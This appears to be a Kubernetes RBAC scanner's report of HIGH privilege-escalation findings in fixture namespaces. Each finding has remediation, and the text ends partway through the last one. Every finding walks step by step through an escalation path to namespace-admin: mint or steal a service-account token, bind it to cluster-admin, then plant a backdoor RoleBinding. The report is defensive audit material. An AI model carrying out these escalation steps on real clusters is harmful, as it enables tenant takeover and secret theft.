ServiceAccount/rbac-fixtures/sa-token-create can reach namespace-admin in `deepchain-tenant` in 2 hop(s)
Scope · Namespace Source ServiceAccount/rbac-fixtures/sa-token-create → namespace-admin in deepchain-tenant: every workload, Secret, and ConfigMap inside deepchain-tenant becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-token-create Resource: Namespace/deepchain-tenant/deepchain-tenant

Subject ServiceAccount/rbac-fixtures/sa-token-create has a privesc path that ends at namespace-admin inside deepchain-tenant. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside deepchain-tenant but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/deepchain-tenant/deepchain-binder via token_request (create serviceaccounts/token): can mint tokens for ServiceAccount deepchain-tenant/deepchain-binder
2. ServiceAccount/deepchain-tenant/deepchain-binder → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/rbac-fixtures/sa-token-create yields full takeover of deepchain-tenant: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/rbac-fixtures/sa-token-create (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/rbac-fixtures/sa-token-create, the attacker calls the serviceaccounts/token subresource (create serviceaccounts/token) to mint a fresh, valid token for ServiceAccount/deepchain-tenant/deepchain-binder. No pod creation required, and a thinner audit trail than the pod-mount route.
  3. Acting as ServiceAccount/deepchain-tenant/deepchain-binder, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  4. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside deepchain-tenant. They read every Secret and ConfigMap in deepchain-tenant, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount deepchain-tenant/deepchain-binder
  2. Step 2 of 2 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside deepchain-tenant: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 2 (ServiceAccount/deepchain-tenant/deepchain-binder → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n deepchain-tenant --as=system:serviceaccount:rbac-fixtures:sa-token-create (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 2 (ServiceAccount/deepchain-tenant/deepchain-binder → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in deepchain-tenant granting RBAC writes: kubectl get role -n deepchain-tenant -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in deepchain-tenant whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/rbac-fixtures/sa-token-create Namespace 7.3
ServiceAccount/rbac-fixtures/sa-token-create can reach namespace-admin in `rbac-ns-fixtures` in 2 hop(s)
Scope · Namespace Source ServiceAccount/rbac-fixtures/sa-token-create → namespace-admin in rbac-ns-fixtures: every workload, Secret, and ConfigMap inside rbac-ns-fixtures becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-token-create Resource: Namespace/rbac-ns-fixtures/rbac-ns-fixtures

Subject ServiceAccount/rbac-fixtures/sa-token-create has a privesc path that ends at namespace-admin inside rbac-ns-fixtures. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside rbac-ns-fixtures but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate via token_request (create serviceaccounts/token): can mint tokens for ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
2. ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/rbac-fixtures/sa-token-create yields full takeover of rbac-ns-fixtures: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/rbac-fixtures/sa-token-create (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/rbac-fixtures/sa-token-create, the attacker calls the serviceaccounts/token subresource (create serviceaccounts/token) to mint a fresh, valid token for ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate. No pod creation required, and a thinner audit trail than the pod-mount route.
  3. Acting as ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  4. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside rbac-ns-fixtures. They read every Secret and ConfigMap in rbac-ns-fixtures, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  2. Step 2 of 2 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside rbac-ns-fixtures: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 2 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n rbac-ns-fixtures --as=system:serviceaccount:rbac-fixtures:sa-token-create (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 2 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in rbac-ns-fixtures granting RBAC writes: kubectl get role -n rbac-ns-fixtures -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in rbac-ns-fixtures whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/rbac-fixtures/sa-pod-create Namespace 7.0
ServiceAccount/rbac-fixtures/sa-pod-create can reach namespace-admin in `cutres` in 2 hop(s)
Scope · Namespace Source ServiceAccount/rbac-fixtures/sa-pod-create → namespace-admin in cutres: every workload, Secret, and ConfigMap inside cutres becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-pod-create Resource: Namespace/cutres/cutres

Subject ServiceAccount/rbac-fixtures/sa-pod-create has a privesc path that ends at namespace-admin inside cutres. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside cutres but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cutres/cutres-detour via pod_create_token_theft (create pods): can create pods that mount ServiceAccount cutres/cutres-detour
2. ServiceAccount/cutres/cutres-detour → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace cutres, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/rbac-fixtures/sa-pod-create yields full takeover of cutres: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/rbac-fixtures/sa-pod-create (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/cutres/cutres-detour ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/cutres/cutres-detour, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  4. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside cutres. They read every Secret and ConfigMap in cutres, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cutres/cutres-detour
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cutres/cutres-detour
  2. Step 2 of 2 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/cutres/cutres-detour
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside cutres: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 2 (ServiceAccount/cutres/cutres-detour → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n cutres --as=system:serviceaccount:rbac-fixtures:sa-pod-create (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 2 (ServiceAccount/cutres/cutres-detour → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in cutres granting RBAC writes: kubectl get role -n cutres -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in cutres whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/rbac-fixtures/sa-pod-create Namespace 7.0
ServiceAccount/rbac-fixtures/sa-pod-create can reach namespace-admin in `deepchain-tenant` in 2 hop(s)
Scope · Namespace Source ServiceAccount/rbac-fixtures/sa-pod-create → namespace-admin in deepchain-tenant: every workload, Secret, and ConfigMap inside deepchain-tenant becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-pod-create Resource: Namespace/deepchain-tenant/deepchain-tenant

Subject ServiceAccount/rbac-fixtures/sa-pod-create has a privesc path that ends at namespace-admin inside deepchain-tenant. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside deepchain-tenant but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/deepchain-tenant/deepchain-binder via pod_create_token_theft (create pods): can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder
2. ServiceAccount/deepchain-tenant/deepchain-binder → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/rbac-fixtures/sa-pod-create yields full takeover of deepchain-tenant: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/rbac-fixtures/sa-pod-create (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/deepchain-tenant/deepchain-binder ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/deepchain-tenant/deepchain-binder, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  4. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside deepchain-tenant. They read every Secret and ConfigMap in deepchain-tenant, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder
  2. Step 2 of 2 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside deepchain-tenant: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 2 (ServiceAccount/deepchain-tenant/deepchain-binder → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n deepchain-tenant --as=system:serviceaccount:rbac-fixtures:sa-pod-create (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 2 (ServiceAccount/deepchain-tenant/deepchain-binder → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in deepchain-tenant granting RBAC writes: kubectl get role -n deepchain-tenant -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in deepchain-tenant whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/rbac-fixtures/sa-pod-create Namespace 7.0
ServiceAccount/rbac-fixtures/sa-pod-create can reach namespace-admin in `rbac-ns-fixtures` in 2 hop(s)
Scope · Namespace Source ServiceAccount/rbac-fixtures/sa-pod-create → namespace-admin in rbac-ns-fixtures: every workload, Secret, and ConfigMap inside rbac-ns-fixtures becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-pod-create Resource: Namespace/rbac-ns-fixtures/rbac-ns-fixtures

Subject ServiceAccount/rbac-fixtures/sa-pod-create has a privesc path that ends at namespace-admin inside rbac-ns-fixtures. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside rbac-ns-fixtures but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate via pod_create_token_theft (create pods): can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
2. ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/rbac-fixtures/sa-pod-create yields full takeover of rbac-ns-fixtures: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/rbac-fixtures/sa-pod-create (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  4. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside rbac-ns-fixtures. They read every Secret and ConfigMap in rbac-ns-fixtures, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create pods
